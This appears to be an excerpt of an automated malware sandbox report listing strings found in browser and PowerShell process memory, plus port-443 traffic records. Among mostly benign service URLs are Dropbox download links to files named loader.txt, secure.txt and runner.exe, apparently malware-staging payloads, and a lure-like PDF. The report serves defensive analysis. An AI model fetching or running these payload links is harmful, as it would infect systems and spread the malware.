Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com/cd/0/get/CggyE9x9tsooR8bgLLYezdmbtOFN
Source: powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com
Source: powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com/cd/0/get/Cghd1jtLzGlJHKX-9xdPSYuTZVa3
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ucee61083117ba5147b0dbdc957e.dl.dropboxusercontent.com
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ucee61083117ba5147b0dbdc957e.dl.dropboxusercontent.com/cd/0/get/CgjWc5xou5HIFAE48gufSBlhHgo8
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D436000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.000002449197C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024490EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.000002449197C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D436000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/99z3idm9bfqz5ub9eti3w/secure.txt?rlkey=lf4wvvzm9z003npv2dbdqosx1&dl=1
Source: powershell.exe, 00000016.00000002.1711359093.0000024490E7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/d
Source: powershell.exe, 00000016.00000002.1711359093.000002449230A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppu
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/l080falpmqnxrd0e4zb2u/loader.txt?rlkey=d7n6vctas1qob3kqdiqef7ydc&dl=1
Source: powershell.exe, 00000016.00000002.1711359093.0000024490E7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/uX
Source: powershell.exe, 00000016.00000002.1775562293.00000244A8B16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkj
Source: powershell.exe, 00000016.00000002.1711359093.000002449230A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
